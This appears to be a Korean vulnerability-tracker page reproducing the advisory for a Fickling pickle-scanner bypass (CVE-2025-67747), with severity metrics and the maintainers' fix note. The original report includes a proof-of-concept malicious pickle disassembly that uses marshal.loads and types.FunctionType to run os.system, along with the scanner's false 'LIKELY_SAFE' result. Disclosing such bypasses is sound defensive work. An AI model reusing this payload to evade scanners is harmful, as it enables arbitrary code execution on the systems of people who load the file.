CVE-2025-67747HIGHMITRENVDGHSA대응게시일: 2025. 12. 16.수정일: 2026. 01. 16.

Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list

Deserialization

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

—high

이론적 심각도 점수

EPSS

0.2%상위 84.1%

30일 내 악용 확률 예측

KEV

미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Fickling Assessment

Based on the test case provided in the original report below, this bypass was caused by marshal and types missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately.

Original report

Summary

There's missing detection for the python modules, marshal.loads and types.FunctionType and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.

Details

Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.

PoC

The following is a disassembled view of a malicious pickle file that uses these modules:

text

 1    0: \x80 PROTO      4
 2    2: \x95 FRAME      0
 3   11: \x8c SHORT_BINUNICODE 'marshal'
 4   20: \x8c SHORT_BINUNICODE 'loads'
 5   27: \x93 STACK_GLOBAL
 6   28: \x94 MEMOIZE    (as 0)
 7   29: h    BINGET     0
 8   31: C    SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08<string>\xda\x08<module>r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00'
 9  198: \x85 TUPLE1
10  199: R    REDUCE
11  200: \x94 MEMOIZE    (as 1)
12  201: \x8c SHORT_BINUNICODE 'types'
13  208: \x8c SHORT_BINUNICODE 'FunctionType'
14  222: \x93 STACK_GLOBAL
15  223: \x94 MEMOIZE    (as 2)
16  224: h    BINGET     2
17  226: h    BINGET     1
18  228: }    EMPTY_DICT
19  229: \x86 TUPLE2
20  230: R    REDUCE
21  231: \x94 MEMOIZE    (as 3)
22  232: h    BINGET     3
23  234: )    EMPTY_TUPLE
24  235: R    REDUCE
25  236: \x94 MEMOIZE    (as 4)
26  237: \x8c SHORT_BINUNICODE 'gottem'
27  245: b    BUILD
28  246: .    STOP

When analyzing this modified file, safety_result.json shows:

text

 1{
 2    "severity": "LIKELY_SAFE",
 3    "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
 4    "detailed_results": {}
 5}

Furthermore, when we run fickling -s <path_to_malicious_file>, we also encounter this error:

text

 1Traceback (most recent call last):
 2  File "<path>/fickling", line 7, in <module>
 3    sys.exit(main())
 4             ^^^^^^
 5  File "<path>/fickling/cli.py", line 163, in main
 6    safety_results = check_safety(pickled, json_output_path=json_output_path)
 7                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 8  File "<path>/fickling/analysis.py", line 408, in check_safety
 9    results = analyzer.analyze(pickled)
10              ^^^^^^^^^^^^^^^^^^^^^^^^^
11  File "<path>/fickling/analysis.py", line 65, in analyze
12    context.analyze(a)
13  File "<path>/fickling/analysis.py", line 31, in analyze
14    results = list(analysis.analyze(self))
15              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
16  File "<path>/fickling/analysis.py", line 196, in analyze
17    for node in context.pickled.non_standard_imports():
18                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
19  File "<path>/fickling/fickle.py", line 826, in non_standard_imports
20    for node in self.properties.imports:
21                ^^^^^^^^^^^^^^^
22  File "<path>/fickling/fickle.py", line 777, in properties
23    self._properties.visit(self.ast)
24                           ^^^^^^^^
25  File "<path>/fickling/fickle.py", line 833, in ast
26    self._ast = Interpreter.interpret(self)
27                ^^^^^^^^^^^^^^^^^^^^^^^^^^^
28  File "<path>/fickling/fickle.py", line 1001, in interpret
29    return Interpreter(pickled).to_ast()
30           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
31  File "<path>/fickling/fickle.py", line 927, in to_ast
32    self.run()
33  File "<path>/fickling/fickle.py", line 971, in run
34    self.step()
35  File "<path>/fickling/fickle.py", line 989, in step
36    opcode.run(self)
37  File "<path>/fickling/fickle.py", line 1767, in run
38    raise ValueError("Exhausted the stack while searching for a MarkObject!")
39ValueError: Exhausted the stack while searching for a MarkObject!

Impact

This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for types.FunctionType and marshal.loads. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 6

링크 내용 불러오는 중…